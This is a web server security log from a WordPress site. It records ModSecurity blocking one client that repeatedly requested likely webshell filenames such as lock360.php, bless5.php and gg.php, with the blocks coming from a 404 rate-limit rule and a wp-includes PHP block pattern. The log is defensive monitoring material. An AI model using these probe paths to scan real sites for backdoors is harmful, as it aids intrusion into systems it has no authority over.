[Fri Jan 09 00:58:22.343170 2026] [:error] [pid 15265:tid 15342] [client 20.196.88.31:7081] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV_iLqE6VBKhew2LTFR4_AAAAJA"]
[Fri Jan 09 00:58:23.036102 2026] [:error] [pid 2484:tid 2494] [client 20.196.88.31:10969] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV_iLziDlnlaQQK_AEPSrwAAAUc"]
[Fri Jan 09 00:58:23.345907 2026] [:error] [pid 7586:tid 7612] [client 20.196.88.31:7022] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aV_iL8Jyk37GdXP5TmWY8QAAAdY"]
[Fri Jan 09 00:58:23.680181 2026] [:error] [pid 7586:tid 7607] [client 20.196.88.31:7065] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aV_iL8Jyk37GdXP5TmWY8wAAAdE"]
[Fri Jan 09 00:58:24.234485 2026] [:error] [pid 7586:tid 7605] [client 20.196.88.31:7048] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aV_iMMJyk37GdXP5TmWY9AAAAc8"]
[Fri Jan 09 00:58:24.606374 2026] [:error] [pid 15264:tid 15309] [client 20.196.88.31:7073] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aV_iMIov6_kvS0Owh-o58QAAAEo"]
[Fri Jan 09 00:58:24.985032 2026] [:error] [pid 15265:tid 15341] [client 20.196.88.31:7009] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aV_iMKE6VBKhew2LTFR5AAAAAI8"]
[Fri Jan 09 00:58:25.322916 2026] [:error] [pid 15265:tid 15328] [client 20.196.88.31:6980] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aV_iMaE6VBKhew2LTFR5AQAAAII"]
[Fri Jan 09 00:58:25.785047 2026] [:error] [pid 17404:tid 17415] [client 20.196.88.31:7057] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aV_iMWVd_oH193N6AnXsRQAAAYk"]
[Fri Jan 09 00:58:26.203692 2026] [:error] [pid 17404:tid 17425] [client 20.196.88.31:7029] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aV_iMmVd_oH193N6AnXsRgAAAZM"]
[Fri Jan 09 00:58:26.890609 2026] [:error] [pid 15263:tid 15278] [client 20.196.88.31:7026] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aV_iMtv61bxum7WG_e8urwAAAAY"]
[Fri Jan 09 00:58:27.365657 2026] [:error] [pid 2484:tid 2503] [client 20.196.88.31:6742] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aV_iMziDlnlaQQK_AEPSswAAAU8"]
[Fri Jan 09 00:58:27.913215 2026] [:error] [pid 7586:tid 7598] [client 20.196.88.31:10963] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aV_iM8Jyk37GdXP5TmWY9wAAAco"]
[Fri Jan 09 00:58:28.400234 2026] [:error] [pid 15265:tid 15340] [client 20.196.88.31:10953] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aV_iNKE6VBKhew2LTFR5AwAAAI4"]
[Fri Jan 09 00:58:29.280579 2026] [:error] [pid 15265:tid 15329] [client 20.196.88.31:7142] [client 20.196.88.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aV_iNaE6VBKhew2LTFR5BAAAAIM"]
[Fri Jan 09 00:58:29.858851 2026] [:error] [pid 2484:tid 2499] [client 20.196.88.31:7149] [client 20.196.88.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aV_iNTiDlnlaQQK_AEPStgAAAUw"]
[Fri Jan 09 00:58:30.479128 2026] [:error] [pid 2424:tid 2443] [client 20.196.88.31:6994] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aV_iNrTDJR8aofkBk9RjfQAAARE"]
[Fri Jan 09 00:58:30.957158 2026] [:error] [pid 2424:tid 2446] [client 20.196.88.31:7002] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aV_iNrTDJR8aofkBk9RjfgAAARQ"]
[Fri Jan 09 00:58:31.705483 2026] [:error] [pid 2484:tid 2495] [client 20.196.88.31:7115] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aV_iNziDlnlaQQK_AEPSuAAAAUg"]
[Fri Jan 09 00:58:32.411063 2026] [:error] [pid 2484:tid 2502] [client 20.196.88.31:7025] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aV_iODiDlnlaQQK_AEPSugAAAU4"]
[Fri Jan 09 00:58:32.878732 2026] [:error] [pid 17404:tid 17421] [client 20.196.88.31:10964] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aV_iOGVd_oH193N6AnXsTQAAAY8"]
[Fri Jan 09 00:58:33.377755 2026] [:error] [pid 15264:tid 15302] [client 20.196.88.31:7157] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aV_iOYov6_kvS0Owh-o5-QAAAEM"]
[Fri Jan 09 00:58:33.910746 2026] [:error] [pid 15358:tid 15391] [client 20.196.88.31:7110] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "aV_iOSoRk9xWJ3toSBKxHgAAANU"]
[Fri Jan 09 00:58:34.505839 2026] [:error] [pid 17404:tid 17427] [client 20.196.88.31:7006] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV_iOmVd_oH193N6AnXsUAAAAZU"]
[Fri Jan 09 00:58:35.000603 2026] [:error] [pid 15358:tid 15381] [client 20.196.88.31:10882] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV_iOioRk9xWJ3toSBKxIAAAAMs"]
[Fri Jan 09 00:58:35.604109 2026] [:error] [pid 2424:tid 2426] [client 20.196.88.31:10881] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV_iO7TDJR8aofkBk9RjhQAAAQA"]
[Fri Jan 09 00:58:36.248864 2026] [:error] [pid 17404:tid 17418] [client 20.196.88.31:6999] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV_iPGVd_oH193N6AnXsUgAAAYw"]
[Fri Jan 09 00:58:36.664647 2026] [:error] [pid 2424:tid 2427] [client 20.196.88.31:7016] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aV_iPLTDJR8aofkBk9RjiAAAAQE"]
[Fri Jan 09 00:58:37.492885 2026] [:error] [pid 7586:tid 7596] [client 20.196.88.31:10902] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aV_iPcJyk37GdXP5TmWY_gAAAcg"]
[Fri Jan 09 00:58:37.825340 2026] [:error] [pid 7586:tid 7589] [client 20.196.88.31:6995] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aV_iPcJyk37GdXP5TmWY_wAAAcE"]
[Fri Jan 09 00:58:38.343221 2026] [:error] [pid 15358:tid 15371] [client 20.196.88.31:10899] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aV_iPioRk9xWJ3toSBKxJQAAAME"]
[Fri Jan 09 00:58:38.721254 2026] [:error] [pid 7586:tid 7611] [client 20.196.88.31:6988] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ha.php"] [unique_id "aV_iPsJyk37GdXP5TmWZBAAAAdU"]
[Fri Jan 09 00:58:39.024098 2026] [:error] [pid 15263:tid 15272] [client 20.196.88.31:7054] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ha.php"] [unique_id "aV_iP9v61bxum7WG_e8utgAAAAA"]
[Fri Jan 09 00:58:39.401560 2026] [:error] [pid 2484:tid 2494] [client 20.196.88.31:10988] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ha.php"] [unique_id "aV_iPziDlnlaQQK_AEPSvQAAAUc"]
[Fri Jan 09 00:58:39.946259 2026] [:error] [pid 2484:tid 2498] [client 20.196.88.31:7095] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ha.php"] [unique_id "aV_iPziDlnlaQQK_AEPSwQAAAUs"]
[Fri Jan 09 00:58:40.440222 2026] [:error] [pid 2424:tid 2433] [client 20.196.88.31:7038] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aV_iQLTDJR8aofkBk9RjigAAAQc"]
[Fri Jan 09 00:58:40.828501 2026] [:error] [pid 15358:tid 15385] [client 20.196.88.31:7024] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aV_iQCoRk9xWJ3toSBKxJwAAAM8"]
[Fri Jan 09 00:58:41.391727 2026] [:error] [pid 2424:tid 2442] [client 20.196.88.31:7022] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aV_iQbTDJR8aofkBk9RjjQAAARA"]
[Fri Jan 09 00:58:41.737052 2026] [:error] [pid 17404:tid 17407] [client 20.196.88.31:6937] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aV_iQWVd_oH193N6AnXsVwAAAYE"]
[Fri Jan 09 00:58:42.566783 2026] [:error] [pid 2424:tid 2450] [client 20.196.88.31:7001] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/we2.php"] [unique_id "aV_iQrTDJR8aofkBk9RjjgAAARg"]
[Fri Jan 09 00:58:43.288349 2026] [:error] [pid 17404:tid 17416] [client 20.196.88.31:10974] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/we2.php"] [unique_id "aV_iQ2Vd_oH193N6AnXsXQAAAYo"]
[Fri Jan 09 00:58:43.792908 2026] [:error] [pid 17404:tid 17413] [client 20.196.88.31:10883] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/we2.php"] [unique_id "aV_iQ2Vd_oH193N6AnXsXwAAAYc"]
[Fri Jan 09 00:58:44.662559 2026] [:error] [pid 17404:tid 17422] [client 20.196.88.31:10890] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/we2.php"] [unique_id "aV_iRGVd_oH193N6AnXsYQAAAZA"]
[Fri Jan 09 00:58:46.045161 2026] [:error] [pid 15358:tid 15394] [client 20.196.88.31:10961] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/04.php"] [unique_id "aV_iRioRk9xWJ3toSBKxKAAAANg"]
[Fri Jan 09 00:58:47.440138 2026] [:error] [pid 15358:tid 15391] [client 20.196.88.31:7049] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/04.php"] [unique_id "aV_iRyoRk9xWJ3toSBKxKgAAANU"]
[Fri Jan 09 00:58:48.788321 2026] [:error] [pid 2484:tid 2511] [client 20.196.88.31:6985] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/04.php"] [unique_id "aV_iSDiDlnlaQQK_AEPSygAAAVc"]
[Fri Jan 09 00:58:50.095634 2026] [:error] [pid 2484:tid 2505] [client 20.196.88.31:10993] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/04.php"] [unique_id "aV_iSjiDlnlaQQK_AEPSzgAAAVE"]
[Fri Jan 09 00:58:50.706830 2026] [:error] [pid 2484:tid 2507] [client 20.196.88.31:10897] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/333.php"] [unique_id "aV_iSjiDlnlaQQK_AEPS0AAAAVM"]
[Fri Jan 09 00:58:51.190186 2026] [:error] [pid 17404:tid 17414] [client 20.196.88.31:7035] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/333.php"] [unique_id "aV_iS2Vd_oH193N6AnXsaQAAAYg"]
[Fri Jan 09 00:58:51.873717 2026] [:error] [pid 2424:tid 2429] [client 20.196.88.31:7037] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/333.php"] [unique_id "aV_iS7TDJR8aofkBk9RjjwAAAQM"]
[Fri Jan 09 00:58:52.443101 2026] [:error] [pid 2484:tid 2496] [client 20.196.88.31:7094] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/333.php"] [unique_id "aV_iTDiDlnlaQQK_AEPS1QAAAUk"]
[Fri Jan 09 00:58:52.897096 2026] [:error] [pid 2484:tid 2487] [client 20.196.88.31:7134] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/520.php"] [unique_id "aV_iTDiDlnlaQQK_AEPS1wAAAUE"]
[Fri Jan 09 00:58:53.649228 2026] [:error] [pid 2484:tid 2506] [client 20.196.88.31:7046] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/520.php"] [unique_id "aV_iTTiDlnlaQQK_AEPS3AAAAVI"]
[Fri Jan 09 00:58:53.944259 2026] [:error] [pid 15358:tid 15378] [client 20.196.88.31:10978] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/520.php"] [unique_id "aV_iTSoRk9xWJ3toSBKxLwAAAMg"]
[Fri Jan 09 00:58:54.285716 2026] [:error] [pid 2484:tid 2510] [client 20.196.88.31:10944] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/520.php"] [unique_id "aV_iTjiDlnlaQQK_AEPS3wAAAVY"]
[Fri Jan 09 00:58:54.713230 2026] [:error] [pid 15264:tid 15303] [client 20.196.88.31:10929] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aV_iToov6_kvS0Owh-o6DgAAAEQ"]
